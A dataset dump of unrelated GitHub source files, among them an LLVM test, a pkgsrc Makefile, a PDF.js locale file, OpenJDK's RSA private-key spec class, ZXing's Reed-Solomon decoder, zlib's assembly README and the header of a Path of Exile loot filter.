text
stringlengths
2
100k
meta
dict
56 C 3.64640 2.29340 3.88800 C 3.33040 2.04390 2.45030 C 2.88870 0.83430 1.92120 C 2.68460 1.08670 0.58080 C 2.16190 0.27190 -0.42450 O 1.80750 -1.05400 -0.13160 C 0.67470 -1.72830 -0.68410 C -0.60160 -1.34500 0.08400 C -1.85000 -1.95820 -0.56230 N -1.78690 -3.42910 -0.50000 C -2.75130 -4.14290 -1.37430 C -2.66850 -5.64830 -1.04490 C -4.20350 -3.66930 -1.13770 C -2.37040 -3.96310 -2.86030 O -0.73800 0.07780 0.09440 C -0.69100 0.86110 1.25580 O -0.75790 0.32010 2.39390 C -0.51410 2.32380 1.14180 C -0.20260 3.09890 2.27440 C 0.02790 4.47210 2.14890 C -0.05490 5.08510 0.89670 C -0.37050 4.32640 -0.23260 C -0.59830 2.95210 -0.11350 C 2.00410 0.84590 -1.70860 C 2.34920 2.19630 -1.93720 C 2.84920 2.99290 -0.89280 C 3.00250 2.40270 0.35910 N 3.40250 2.99830 1.49430 H 3.50310 1.36910 4.48670 H 2.97540 3.08550 4.28120 H 4.70080 2.62620 3.98330 H 2.70520 -0.09070 2.45230 H 0.84280 -2.82110 -0.57940 H 0.56620 -1.51780 -1.76740 H -0.50890 -1.74130 1.11970 H -2.74480 -1.59340 -0.01040 H -1.91610 -1.59370 -1.60720 H -1.95830 -3.70490 0.49670 H -1.63050 -6.01860 -1.18980 H -3.34710 -6.23950 -1.69760 H -2.95880 -5.83520 0.01160 H -4.46010 -3.73050 -0.05840 H -4.91830 -4.30300 -1.70600 H -4.34540 -2.62160 -1.47720 H -1.28900 -4.17180 -3.00860 H -2.58600 -2.93710 -3.22170 H -2.95390 -4.65800 -3.50240 H -0.11510 2.64150 3.25190 H 0.27770 5.05990 3.02260 H 0.12760 6.14760 0.80110 H -0.43010 4.80150 -1.20320 H -0.82820 2.38140 -1.00440 H 1.63100 0.26260 -2.53740 H 2.21890 2.62460 -2.92240 H 3.09280 4.03500 -1.05430 H 3.67900 3.99780 1.61970
{ "pile_set_name": "Github" }
# RUN: yaml2obj %s -o %t.o # RUN: llvm-nm --undefined-only %t.o | FileCheck %s --implicit-check-not=symbol_defined !ELF FileHeader: Class: ELFCLASS64 Data: ELFDATA2LSB Type: ET_REL Machine: EM_X86_64 Sections: - Name: .text Type: SHT_PROGBITS Symbols: - Name: symbol_undefined_a - Name: symbol_defined Section: .text - Name: symbol_undefined_b # CHECK: U symbol_undefined_a # CHECK-NEXT: U symbol_undefined_b
{ "pile_set_name": "Github" }
# $NetBSD: Makefile,v 1.1 2017/01/31 14:04:02 leot Exp $ DISTNAME= olefile-0.44 PKGNAME= ${PYPKGPREFIX}-${DISTNAME} CATEGORIES= devel MASTER_SITES= ${MASTER_SITE_PYPI:=o/olefile/} EXTRACT_SUFX= .zip MAINTAINER= [email protected] HOMEPAGE= http://www.decalage.info/python/olefileio COMMENT= Python module to read/write MS OLE2 files LICENSE= 2-clause-bsd AND hpnd USE_LANGUAGES= # none .include "../../lang/python/distutils.mk" .include "../../mk/bsd.pkg.mk"
{ "pile_set_name": "Github" }
import { Container } from 'aurelia-dependency-injection'; import { BindingLanguage } from 'aurelia-templating'; import { TemplatingBindingLanguage } from 'aurelia-templating-binding'; import { ValidationMessageProvider } from '../src/aurelia-validation'; describe('ValidationMessageProvider', () => { let messageProvider: ValidationMessageProvider; beforeAll(() => { const container = new Container(); container.registerInstance(BindingLanguage, container.get(TemplatingBindingLanguage)); messageProvider = container.get(ValidationMessageProvider); }); it('computes display name', () => { expect(messageProvider.getDisplayName('foo', null)).toBe('Foo'); expect(messageProvider.getDisplayName('fooBar', null)).toBe('Foo Bar'); expect(messageProvider.getDisplayName('foo bar', null)).toBe('Foo bar'); expect(messageProvider.getDisplayName('foo', undefined)).toBe('Foo'); expect(messageProvider.getDisplayName('fooBar', undefined)).toBe('Foo Bar'); expect(messageProvider.getDisplayName('foo bar', undefined)).toBe('Foo bar'); expect(messageProvider.getDisplayName('foo', 'hello')).toBe('hello'); expect(messageProvider.getDisplayName('foo', () => 'hello')).toBe('hello'); }); });
{ "pile_set_name": "Github" }
import { app } from 'electron'; import { join } from 'path'; export default class Settings { /** * The opened file path using the OS file explorer */ public static OpenedFile: string = null; /** * Defines the process directory. */ public static readonly ProcessDirectory: string = (process.env.DEBUG ? app.getAppPath() : join(app.getAppPath(), '..', '..')); }
{ "pile_set_name": "Github" }
# This Source Code Form is subject to the terms of the Mozilla Public # License, v. 2.0. If a copy of the MPL was not distributed with this # file, You can obtain one at http://mozilla.org/MPL/2.0/. # Main toolbar buttons (tooltips and alt text for images) previous.title=Pòprzédnô strona previous_label=Pòprzédnô next.title=Nôslédnô strona next_label=Nôslédnô # LOCALIZATION NOTE (page_label, page_of): # These strings are concatenated to form the "Page: X of Y" string. # Do not translate "{{pageCount}}", it will be substituted with a number # representing the total number of pages. page_label=Strona: page_of=z {{pageCount}} zoom_out.title=Zmniészë zoom_out_label=Zmniészë zoom_in.title=Zwikszë zoom_in_label=Wiôlgòsc zoom.title=Wiôlgòsc print.title=Drëkùjë print_label=Drëkùjë presentation_mode.title=Przéńdzë w trib prezentacje presentation_mode_label=Trib prezentacje open_file.title=Òtemkni lopk open_file_label=Òtemkni download.title=Zladënk download_label=Zladënk bookmark.title=Spamiãtôj wëzdrzatk (kòpérëje, abò òtemkni w nowim òknnie) bookmark_label=Aktualny wëzdrzatk find_label=Szëkôj: find_previous.title=Biéj do pòprzédnégò wënikù szëkbë find_previous_label=Pòprzédny find_next.title=Biéj do nôslédnégò wënikù szëkbë find_next_label=Nôslédny find_highlight=Pòdszkrzëni wszëtczé find_match_case_label=Rozeznôwôj miarã lëterów find_not_found=Nie nalôzł tekstu find_reached_bottom=Doszedł do kùńca dokùmentu, zaczinającë òd górë find_reached_top=Doszedł do pòczątkù dokùmentu, zaczinającë òd dołù toggle_sidebar.title=Pòsuwk wëbiérkù toggle_sidebar_label=Pòsuwk wëbiérkù outline.title=Wëskrzëni òbcéch dokùmentu outline_label=Òbcéch dokùmentu thumbs.title=Wëskrzëni miniaturë thumbs_label=Miniaturë findbar.title=Przeszëkôj dokùment findbar_label=Nalezë tools_label=Nôrzãdła first_page.title=Biéj do pierszi stronë first_page.label=Biéj do pierszi stronë last_page.label=Biéj do òstatny stronë invalid_file_error=Lëchi ôrt, abò pòpsëti lopk PDF. # Thumbnails panel item (tooltip and alt text for images) # LOCALIZATION NOTE (thumb_page_title): "{{page}}" will be replaced by the page # number. thumb_page_title=Strona {{page}} # LOCALIZATION NOTE (thumb_page_canvas): "{{page}}" will be replaced by the page # number. thumb_page_canvas=Miniatura stronë {{page}} # Error panel labels error_more_info=Wicy infòrmacje error_less_info=Mni infòrmacje error_close=Close error_version_info=PDF.js v{{version}} (build: {{build}}) # LOCALIZATION NOTE (error_message): "{{message}}" will be replaced by an # english string describing the error. error_message=Message: {{wiadło}} # LOCALIZATION NOTE (error_stack): "{{stack}}" will be replaced with a stack # trace. error_stack=Stack: {{stóg}} # LOCALIZATION NOTE (error_file): "{{file}}" will be replaced with a filename error_file=File: {{lopk}} # LOCALIZATION NOTE (error_line): "{{line}}" will be replaced with a line number error_line=Line: {{line}} rendering_error=Pòkôza sã fela przë renderowanim stronë. # Predefined zoom values page_scale_width=Szérzawa stronë page_scale_fit=Dopasëje stronã page_scale_auto=Aùtomatnô wiôlgòsc page_scale_actual=Naturalnô wiôlgòsc # Loading indicator messages # LOCALIZATION NOTE (error_line): "{{[percent}}" will be replaced with a percentage loading_error_indicator=Fela loading_error=Pòkôza sã fela przë wczëtiwanim PDFù. # LOCALIZATION NOTE (text_annotation_type): This is used as a tooltip. # "{{[type}}" will be replaced with an annotation type from a list defined in # the PDF spec (32000-1:2008 Table 169 – Annotation types). # Some common types are e.g.: "Check", "Text", "Comment", "Note" request_password=PDF je zabezpieczony parolą: printing_not_supported = Òstrzéga: przezérnik nie je do kùńca wspieróny przez drëkôrze # Context menu page_rotate_cw.label=Òbkrãcë w prawò page_rotate_ccw.label=Òbkrãcë w lewò last_page.title=Biéj do pòprzédny stronë last_page_label=Biéj do pòprzédny stronë page_rotate_cw.title=Òbkrãcë w prawò page_rotate_cw_label=Òbkrãcë w prawò page_rotate_ccw.title=Òbkrãcë w lewò page_rotate_ccw_label=Òbkrãcë w lewò web_fonts_disabled=Sécowé czconczi są wëłączoné: włączë je, bë móc ùżiwac òsadzonëch czconków w lopkach PDF. missing_file_error=Felëje lopka PDF. printing_not_ready = Òstrzéga: lopk mùszi sã do kùńca wczëtac zanim gò mòże drëkòwac document_colors_disabled=Dokùmentë PDF nie mògą ù swòjich farwów: \'Pòzwòlë stronóm wëbierac swòje farwë\' je wëłączoné w przezérnikù. invalid_password=Lëchô parola. text_annotation_type.alt=[Adnotacjô {{type}}] tools.title=Tools first_page_label=Go to First Page
{ "pile_set_name": "Github" }
/* * Copyright (c) 1998, 2020, Oracle and/or its affiliates. All rights reserved. * DO NOT ALTER OR REMOVE COPYRIGHT NOTICES OR THIS FILE HEADER. * * This code is free software; you can redistribute it and/or modify it * under the terms of the GNU General Public License version 2 only, as * published by the Free Software Foundation. Oracle designates this * particular file as subject to the "Classpath" exception as provided * by Oracle in the LICENSE file that accompanied this code. * * This code is distributed in the hope that it will be useful, but WITHOUT * ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or * FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License * version 2 for more details (a copy is included in the LICENSE file that * accompanied this code). * * You should have received a copy of the GNU General Public License version * 2 along with this work; if not, write to the Free Software Foundation, * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA. * * Please contact Oracle, 500 Oracle Parkway, Redwood Shores, CA 94065 USA * or visit www.oracle.com if you need additional information or have any * questions. */ package java.security.spec; import java.math.BigInteger; /** * This class specifies an RSA private key, as defined in the * <a href="https://tools.ietf.org/rfc/rfc8017.txt">PKCS#1 v2.2</a> standard, * using the Chinese Remainder Theorem (CRT) information values for efficiency. * * @author Jan Luehe * * * @see java.security.Key * @see java.security.KeyFactory * @see KeySpec * @see PKCS8EncodedKeySpec * @see RSAPrivateKeySpec * @see RSAPublicKeySpec */ public class RSAPrivateCrtKeySpec extends RSAPrivateKeySpec { private final BigInteger publicExponent; private final BigInteger primeP; private final BigInteger primeQ; private final BigInteger primeExponentP; private final BigInteger primeExponentQ; private final BigInteger crtCoefficient; /** * Creates a new {@code RSAPrivateCrtKeySpec}. * * @param modulus the modulus n * @param publicExponent the public exponent e * @param privateExponent the private exponent d * @param primeP the prime factor p of n * @param primeQ the prime factor q of n * @param primeExponentP this is d mod (p-1) * @param primeExponentQ this is d mod (q-1) * @param crtCoefficient the Chinese Remainder Theorem * coefficient q-1 mod p */ public RSAPrivateCrtKeySpec(BigInteger modulus, BigInteger publicExponent, BigInteger privateExponent, BigInteger primeP, BigInteger primeQ, BigInteger primeExponentP, BigInteger primeExponentQ, BigInteger crtCoefficient) { this(modulus, publicExponent, privateExponent, primeP, primeQ, primeExponentP, primeExponentQ, crtCoefficient, null); } /** * Creates a new {@code RSAPrivateCrtKeySpec} with additional * key parameters. * * @param modulus the modulus n * @param publicExponent the public exponent e * @param privateExponent the private exponent d * @param primeP the prime factor p of n * @param primeQ the prime factor q of n * @param primeExponentP this is d mod (p-1) * @param primeExponentQ this is d mod (q-1) * @param crtCoefficient the Chinese Remainder Theorem * coefficient q-1 mod p * @param keyParams the parameters associated with key * @since 8 */ public RSAPrivateCrtKeySpec(BigInteger modulus, BigInteger publicExponent, BigInteger privateExponent, BigInteger primeP, BigInteger primeQ, BigInteger primeExponentP, BigInteger primeExponentQ, BigInteger crtCoefficient, AlgorithmParameterSpec keyParams) { super(modulus, privateExponent, keyParams); this.publicExponent = publicExponent; this.primeP = primeP; this.primeQ = primeQ; this.primeExponentP = primeExponentP; this.primeExponentQ = primeExponentQ; this.crtCoefficient = crtCoefficient; } /** * Returns the public exponent. * * @return the public exponent */ public BigInteger getPublicExponent() { return this.publicExponent; } /** * Returns the primeP. * @return the primeP */ public BigInteger getPrimeP() { return this.primeP; } /** * Returns the primeQ. * * @return the primeQ */ public BigInteger getPrimeQ() { return this.primeQ; } /** * Returns the primeExponentP. * * @return the primeExponentP */ public BigInteger getPrimeExponentP() { return this.primeExponentP; } /** * Returns the primeExponentQ. * * @return the primeExponentQ */ public BigInteger getPrimeExponentQ() { return this.primeExponentQ; } /** * Returns the crtCoefficient. * * @return the crtCoefficient */ public BigInteger getCrtCoefficient() { return this.crtCoefficient; } }
{ "pile_set_name": "Github" }
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.1//EN" "http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <title>CSS 2.1 Test Suite: font-size</title> <style type="text/css"><![CDATA[ p { color: navy; margin: 10px; } .one {font-size: medium;} .two {font-size: larger;} .three {font-size: smaller;} .four {font-size: xx-small;} .five {font-size: x-small;} .six {font-size: small;} .seven {font-size: large;} .eight {font-size: x-large;} .nine {font-size: xx-large;} ]]></style> <link title="15.7 Font size: the &apos;font-size' property" href="http://www.w3.org/TR/CSS21/fonts.html#font-size-props" rel="help"/> </head> <body> <p> This sentence should be normal. </p> <p class="one"> This sentence should be the same. </p> <p class="two"> This sentence should be larger than normal. </p> <p class="three"> This sentence should be smaller than normal. </p> <p class="four"> This sentence should be very small. <span class="one">This sentence should be back to normal.</span> </p> <p class="five"> This sentence should be rather small. <span class="one">This sentence should be back to normal.</span> </p> <p class="six"> This sentence should be small. <span class="one">This sentence should be back to normal.</span> </p> <p class="seven"> This sentence should be large. <span class="one">This sentence should be back to normal.</span> </p> <p class="eight"> This sentence should be rather large. <span class="one">This sentence should be back to normal.</span> </p> <p class="nine"> This sentence should be very large. <span class="one">This sentence should be back to normal.</span> </p> </body> </html>
{ "pile_set_name": "Github" }
/* * Copyright 2012 ZXing authors * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ #import "ZXErrors.h" #import "ZXGenericGF.h" #import "ZXGenericGFPoly.h" #import "ZXIntArray.h" #import "ZXReedSolomonDecoder.h" @interface ZXReedSolomonDecoder () @property (nonatomic, strong, readonly) ZXGenericGF *field; @end @implementation ZXReedSolomonDecoder - (id)initWithField:(ZXGenericGF *)field { if (self = [super init]) { _field = field; } return self; } - (BOOL)decode:(ZXIntArray *)received twoS:(int)twoS error:(NSError **)error { ZXGenericGFPoly *poly = [[ZXGenericGFPoly alloc] initWithField:self.field coefficients:received]; ZXIntArray *syndromeCoefficients = [[ZXIntArray alloc] initWithLength:twoS]; BOOL noError = YES; for (int i = 0; i < twoS; i++) { int eval = [poly evaluateAt:[self.field exp:i + self.field.generatorBase]]; syndromeCoefficients.array[syndromeCoefficients.length - 1 - i] = eval; if (eval != 0) { noError = NO; } } if (noError) { return YES; } ZXGenericGFPoly *syndrome = [[ZXGenericGFPoly alloc] initWithField:self.field coefficients:syndromeCoefficients]; NSArray *sigmaOmega = [self runEuclideanAlgorithm:[self.field buildMonomial:twoS coefficient:1] b:syndrome R:twoS error:error]; if (!sigmaOmega) { return NO; } ZXGenericGFPoly *sigma = sigmaOmega[0]; ZXGenericGFPoly *omega = sigmaOmega[1]; ZXIntArray *errorLocations = [self findErrorLocations:sigma error:error]; if (!errorLocations) { return NO; } ZXIntArray *errorMagnitudes = [self findErrorMagnitudes:omega errorLocations:errorLocations]; for (int i = 0; i < errorLocations.length; i++) { int position = received.length - 1 - [self.field log:errorLocations.array[i]]; if (position < 0) { NSDictionary *userInfo = @{NSLocalizedDescriptionKey: @"Bad error location"}; if (error) *error = [[NSError alloc] initWithDomain:ZXErrorDomain code:ZXReedSolomonError userInfo:userInfo]; return NO; } received.array[position] = [ZXGenericGF addOrSubtract:received.array[position] b:errorMagnitudes.array[i]]; } return YES; } - (NSArray *)runEuclideanAlgorithm:(ZXGenericGFPoly *)a b:(ZXGenericGFPoly *)b R:(int)R error:(NSError **)error { if (a.degree < b.degree) { ZXGenericGFPoly *temp = a; a = b; b = temp; } ZXGenericGFPoly *rLast = a; ZXGenericGFPoly *r = b; ZXGenericGFPoly *tLast = self.field.zero; ZXGenericGFPoly *t = self.field.one; while ([r degree] >= R / 2) { ZXGenericGFPoly *rLastLast = rLast; ZXGenericGFPoly *tLastLast = tLast; rLast = r; tLast = t; if ([rLast zero]) { NSDictionary *userInfo = @{NSLocalizedDescriptionKey: @"r_{i-1} was zero"}; if (error) *error = [[NSError alloc] initWithDomain:ZXErrorDomain code:ZXReedSolomonError userInfo:userInfo]; return nil; } r = rLastLast; ZXGenericGFPoly *q = [self.field zero]; int denominatorLeadingTerm = [rLast coefficient:[rLast degree]]; int dltInverse = [self.field inverse:denominatorLeadingTerm]; while ([r degree] >= [rLast degree] && ![r zero]) { int degreeDiff = [r degree] - [rLast degree]; int scale = [self.field multiply:[r coefficient:[r degree]] b:dltInverse]; q = [q addOrSubtract:[self.field buildMonomial:degreeDiff coefficient:scale]]; r = [r addOrSubtract:[rLast multiplyByMonomial:degreeDiff coefficient:scale]]; } t = [[q multiply:tLast] addOrSubtract:tLastLast]; if (r.degree >= rLast.degree) { @throw [NSException exceptionWithName:@"IllegalStateException" reason:@"Division algorithm failed to reduce polynomial?" userInfo:nil]; } } int sigmaTildeAtZero = [t coefficient:0]; if (sigmaTildeAtZero == 0) { NSDictionary *userInfo = @{NSLocalizedDescriptionKey: @"sigmaTilde(0) was zero"}; if (error) *error = [[NSError alloc] initWithDomain:ZXErrorDomain code:ZXReedSolomonError userInfo:userInfo]; return nil; } int inverse = [self.field inverse:sigmaTildeAtZero]; ZXGenericGFPoly *sigma = [t multiplyScalar:inverse]; ZXGenericGFPoly *omega = [r multiplyScalar:inverse]; return @[sigma, omega]; } - (ZXIntArray *)findErrorLocations:(ZXGenericGFPoly *)errorLocator error:(NSError **)error { int numErrors = [errorLocator degree]; if (numErrors == 1) { ZXIntArray *array = [[ZXIntArray alloc] initWithLength:1]; array.array[0] = [errorLocator coefficient:1]; return array; } ZXIntArray *result = [[ZXIntArray alloc] initWithLength:numErrors]; int e = 0; for (int i = 1; i < [self.field size] && e < numErrors; i++) { if ([errorLocator evaluateAt:i] == 0) { result.array[e] = [self.field inverse:i]; e++; } } if (e != numErrors) { NSDictionary *userInfo = @{NSLocalizedDescriptionKey: @"Error locator degree does not match number of roots"}; if (error) *error = [[NSError alloc] initWithDomain:ZXErrorDomain code:ZXReedSolomonError userInfo:userInfo]; return nil; } return result; } - (ZXIntArray *)findErrorMagnitudes:(ZXGenericGFPoly *)errorEvaluator errorLocations:(ZXIntArray *)errorLocations { int s = errorLocations.length; ZXIntArray *result = [[ZXIntArray alloc] initWithLength:s]; ZXGenericGF *field = self.field; for (int i = 0; i < s; i++) { int xiInverse = [field inverse:errorLocations.array[i]]; int denominator = 1; for (int j = 0; j < s; j++) { if (i != j) { //denominator = field.multiply(denominator, // GenericGF.addOrSubtract(1, field.multiply(errorLocations[j], xiInverse))); // Above should work but fails on some Apple and Linux JDKs due to a Hotspot bug. // Below is a funny-looking workaround from Steven Parkes int term = [field multiply:errorLocations.array[j] b:xiInverse]; int termPlus1 = (term & 0x1) == 0 ? term | 1 : term & ~1; denominator = [field multiply:denominator b:termPlus1]; } } result.array[i] = [field multiply:[errorEvaluator evaluateAt:xiInverse] b:[field inverse:denominator]]; if (field.generatorBase != 0) { result.array[i] = [field multiply:result.array[i] b:xiInverse]; } } return result; } @end
{ "pile_set_name": "Github" }
This is a patched version of zlib, modified to use Pentium-Pro-optimized assembly code in the deflation algorithm. The files changed/added by this patch are: README.686 match.S The speedup that this patch provides varies, depending on whether the compiler used to build the original version of zlib falls afoul of the PPro's speed traps. My own tests show a speedup of around 10-20% at the default compression level, and 20-30% using -9, against a version compiled using gcc 2.7.2.3. Your mileage may vary. Note that this code has been tailored for the PPro/PII in particular, and will not perform particuarly well on a Pentium. If you are using an assembler other than GNU as, you will have to translate match.S to use your assembler's syntax. (Have fun.) Brian Raiter [email protected] April, 1998 Added for zlib 1.1.3: The patches come from http://www.muppetlabs.com/~breadbox/software/assembly.html To compile zlib with this asm file, copy match.S to the zlib directory then do: CFLAGS="-O3 -DASMV" ./configure make OBJA=match.o Update: I've been ignoring these assembly routines for years, believing that gcc's generated code had caught up with it sometime around gcc 2.95 and the major rearchitecting of the Pentium 4. However, I recently learned that, despite what I believed, this code still has some life in it. On the Pentium 4 and AMD64 chips, it continues to run about 8% faster than the code produced by gcc 4.1. In acknowledgement of its continuing usefulness, I've altered the license to match that of the rest of zlib. Share and Enjoy! Brian Raiter [email protected] April, 2007
{ "pile_set_name": "Github" }
// Richard Penwell (penwellr) MIT Licence - March 1, 2010 exports.testPopen = require("./popen"); exports.testSystem = require("./system"); exports.testParse = require("./parse") if (require.main == module.id) require("os").exit(require("test/runner").run(exports));
{ "pile_set_name": "Github" }
#--------------------------------------------------------------------------------------------------------------- # NeverSink's Indepth Loot Filter # VERSION 3.0 - Full #--------------------------------------------------------------------------------------------------------------- # # You can always find the latest version here: # http://pastebin.com/Af00CbhA # Forum discussion thread. You can post question and feedback here: # http://www.pathofexile.com/forum/view-thread/1246208/page/1 # Please use this thread for feedback, questions and suggestions # #--------------------------------------------------------------------------------------------------------------- # INSTALLATION: #--------------------------------------------------------------------------------------------------------------- # # 1) Select-All + Copy this script from the "RAW Paste Data" at the bottom of the page. # 2) Paste the contents into a notepad/txt document anywhere on your PC # USE ANSI ENCODING IF YOU USE NOTEPAD++ OR ANY OTHER TEXT EDITOR # 3) Click File/Save As and select the following settings: # SAVE AS TYPE: Select "All Files" # FILE NAME: "NeverSink.filter" (Without the ") # SAVE LOCATION: C:/Users/Documents/My Games/Path of Exile # ENCODING (if available): ANSI # INGAME: Escape -> Options -> UI -> Scroll down -> Select NeverSink.filter # # IF YOU CAN'T SEE THE FILTER, YOU EITHER SAVED THE FILE IN THE WRONG FOLDER OR FAILED TO GIVE IT THE .filter FILE TYPE! # IF YOUR ITEMS DISAPPEAR AFTER A WHILE CLICK "Z" # IF YOU CAN'T PICK UP ANY ITEMS, YOU LIKELY CHANGED THE "item select key" WHILE SCROLLING DOWN # #--------------------------------------------------------------------------------------------------------------- # If you want to learn more about the syntax of item filters: # http://pathofexile.gamepedia.com/Item_filter_guide #--------------------------------------------------------------------------------------------------------------- # DESIGN GOALS: #--------------------------------------------------------------------------------------------------------------- # - This setup is designed to assist players during all stages of path of exile gameplay (Leveling AND Endgame). # - Highlight and notify players when worthwhile items drop # - Use intuitive colors, without breaking the PoE feeling and immersion much. Don't go overboard on colors! # - Provide light, scaling filtering during levelling # - Provide comprehensive and in-depth filtering during endgame play # - Provide evaluation help for high level rares based on criteria such as droplevel, itemlevel, item size, popularity and type. Helps you prioritize your pickups, while still showing everything! # - Highlight recipe material (Regal, Chromatics, Glassblowers, Jewelers) and crafting bases # - Easy to use setup #--------------------------------------------------------------------------------------------------------------- #COLORS: #Most colors remain the same, I want the filter to be very intuitive # #1) White background = Top tier drops #2) Golden background = High currency #3) Rare items above level 75 are displayed in a slightly darker hue (orangish) to represent their regal recipe value. #4) Map level rare items with a BAD base have a red-ish background - it's usually not recommended to pick them up unless you have some free space #5) Map level rare items with a GOOD base have a greenish background - you should try picking those up. These items are usually high bases or have a chance to be valuable with good rolls #6) There is also a brighter green border. These rares are rings/jewels/amulets/belts. They are droplevel independent (only itemlevel), small and should be picked up anytime! #7) Items with a white/grey background are good "utility pickups". They are 6sockets, Chromatic-recipe items, utility flasks or flasks with quality. Also good for colorblind players :) #8) There is a blue outline around 5Linked items #9) There's a barely visible black border around several items. It's just for contrast purposes. # #--------------------------------------------------------------------------------------------------------------- # LOOKUP AND QUICKJUMP TABLE #--------------------------------------------------------------------------------------------------------------- # Select one of the strings below and use the search function # To jump to the section in the document # (also use Notepad++ as a edit tool if you're not using it already) # # ALPHA # GLOBAL OVERRIDE - ADD YOUR OWN RULES THAT WILL OVERRIDE THE OTHERS HERE # ALPHA-a # Talisman league! # 0000 # UTILITY AND JUST-IN-CASE # 0100 # TOP TIER RARITY # 0200 # UNIQUES AND MAPS # 0201 # UNIQUE TIER LIST # 0202 # MAP TIER LIST # 0203 # MAP FRAGMENTS # 0300 # CURRENCY # 0301 # TOP TIER: ETERNAL, DIVINE, EXALTED # 0302 # HIGH TIER: FROM ALCHEMY TO REGAL # 0303 # MEDIUM-LOW ORBS # 0304 # BOTTOM TIER: LOW ORB VARIATIONS # 0305 # DIVINATION CARD TIER LIST # 0306 # REST # 0400 # SOCKET/LINK BASED stuff # 0500 # SKILL GEMS # 0600 # RARE ITEM HIGHLIGHTING # 060a # RARES SUITABLE FOR ENDGAME CRAFTING # 060b # RARE RINGS, AMULETS, JEWELS, BELTS # 060c # DROP LEVEL 69+ ITEMS ARE ALWAYS PRIORITIZED RARES # 0601 # RARE DAGGERS # 0602 # RARE CLAWS # 0603 # RARE WANDS # 0604 # RARE SWORDS # 0605 # RARE AXES&MACES (1H) # 0606 # RARE SCEPTRES # 0607 # RARE STAVES # 0608 # RARE TWO HAND SWORDS + MACES + AXES # 0609 # RARE BOWS # 0610 # RARE QUIVERS # 0611 # RARE GLOVES, HELMETS, BOOTS # 0612 # RARE SHIELDS # 0613 # RARE BODY ARMOR # 0614 # RARES - REMAINING RULES # 0700 # NORMAL AND MAGIC ITEM RULES # 0701 # 83+ ITEM CRAFTING # 0702 # CHROMATIC ORB RECIPE ITEMS # 0703 # HIGH LEVEL WHITE RINGS/AMULETS FOR ALCHING # 0704 # MAGIC RINGS, AMULETS, BELTS # 0705 # MAGIC JEWELS # 0706 # CHANCE ORB BASES - ADD YOUR ITEMS HERE # 0707 # CHISEL RECIPE ITEMS # 0708 # HIGH LEVEL 4+ LINKED ITEMS # 0709 # TOP BASES FOR CRAFTING # 0710 # MARAKETH WEAPONS # 0711 # PRE-ENDGAME 20% QUALITY ITEMS # 0712 # ANIMATE WEAPON SCRIPT (DISABLED) # 0800 # FLASKS # 0801 # HIDE OUTDATED FLASKS # 0802 # HIDE NON-QUALITY RANDOM FLASK DROPS IN MAPS # 0803 # FLASKS - HIGHLIGHT NEW NORMAL FLASKS (Kudos to Antnee) # 0804 # FLASKS - HIGHLIGHT NEW MAGIC FLASKS (Kudos to Antnee) # 0805 # SHOW WHATEVER FLASKS REMAIN # 0900 # LEVELING # 0901 # LEVELING HIGHLIGHT JEWELRY # 0902 # HIGHLIGHT LEVELING LINKED GEAR # 0903 # LEVELING GENERAL RULES # 0904 # LEVELING WHITE/MAGIC ITEM PROGRESSION # 5000 # TEMP AND WIP ENTRIES # 5001 # WARBAND MODS - DEACTIVATED # OMEGA # ADDITIONAL RULES - ADD YOUR OWN RULES THAT WON'T OVERRIDE THE OTHER RULES # XXXX # HIDE THE REST THEN FAILSAFE DISPLAY # #--------------------------------------------------------------------------------------------------------------- # STYLE DATA FOR EASY SEARCH AND REPLACE #--------------------------------------------------------------------------------------------------------------- # ###GENERIC BORDER### # SetBorderColor 0 0 0 # ###TALISMAN STYLE### # SetBorderColor 109 200 130 255 # ###TOP RARITY STYLE### # SetBackgroundColor 255 255 255 255 # ###MEDIUM RARITY UNIQUE BG### # SetBackgroundColor 175 96 37 255 # ###HIGH CURRENCY STYLE### # SetBackgroundColor 213 159 15 # ###MEDIUM CURRENCY STYLE### # SetTextColor 190 178 135 255 # ###DIVINATION CARD TIERS### # T1: SetTextColor 255 0 175 # T2: SetBackgroundColor 235 15 200 # T3: SetBackgroundColor 220 35 225 # T4: SetBackgroundColor 200 50 250 # T5: SetBackgroundColor 190 65 255 # ###83/84 CRAFTING BORDER### # SetBorderColor 255 255 0 255 # ###REGAL RECIPE RARE INDICATOR### # SetTextColor 255 190 0 # ###EXCEPTIONAL RARE INDICATOR### # SetBorderColor 25 180 25 # ###GOOD RARE INDICATOR### # SetBorderColor 30 90 45 230 # ###BAD RARE INDICATOR### # SetBackgroundColor 120 20 20 220 # ###UTILITY/VENDOR INDICATOR### # SetBackgroundColor 75 75 75 # ###ALCHEMY/LOWCRAFT INDICATOR### # SetBorderColor 255 190 0 150 # ###LOW SIZE CHROM RECIPE INDICATOR### # SetBorderColor 150 150 150 # ###MAGIC JEWEL BACKGROUND # SetBorderColor 0 150 200 # ###CHANCE ORB ITEM INDICATOR### # SetBorderColor 0 150 0 150 # ###ANIMATE WEAPON MODE### # SetTextColor 150 0 0 # SetBorderColor 150 0 0 # ###PRIORITY MAGIC ITEMS (leveling+flasks)### # SetTextColor 100 100 255 # ###HIDDEN ITEMS: normal # SetBackgroundColor 0 0 0 100 # ###HIDDEN ITEMS: rare # SetBackgroundColor 0 0 0 150 # #--------------------------------------------------------------------------------------------------------------- # SOUND DATA FOR EASY SEARCH AND REPLACE #--------------------------------------------------------------------------------------------------------------- # Some new entries are not yet added to the list! # #The filter only uses 3 sounds: # #PlayAlertSound 6 300 high tier drops (all uniques, high orbs/cards/5-6links, high currency, fishing rods, 20% gems...) #PlayAlertSound 1 300 medium tier drops (divination cards, orbs from alch to gcps) #PlayAlertSound 4 300 map drops # #You'll quickly learn the 3 sounds while playing and will be able to recognize offscreen drops! # # #--------------------------------------------------------------------------------------------------------------- # SCRIPT by NeverSink ( the-dude- in reddit) #--------------------------------------------------------------------------------------------------------------- # #--------------------------------------------------------------------------------------------------------------- # Section: ALPHA # GLOBAL OVERRIDE - ADD YOUR OWN RULES THAT WILL OVERRIDE THE OTHERS HERE 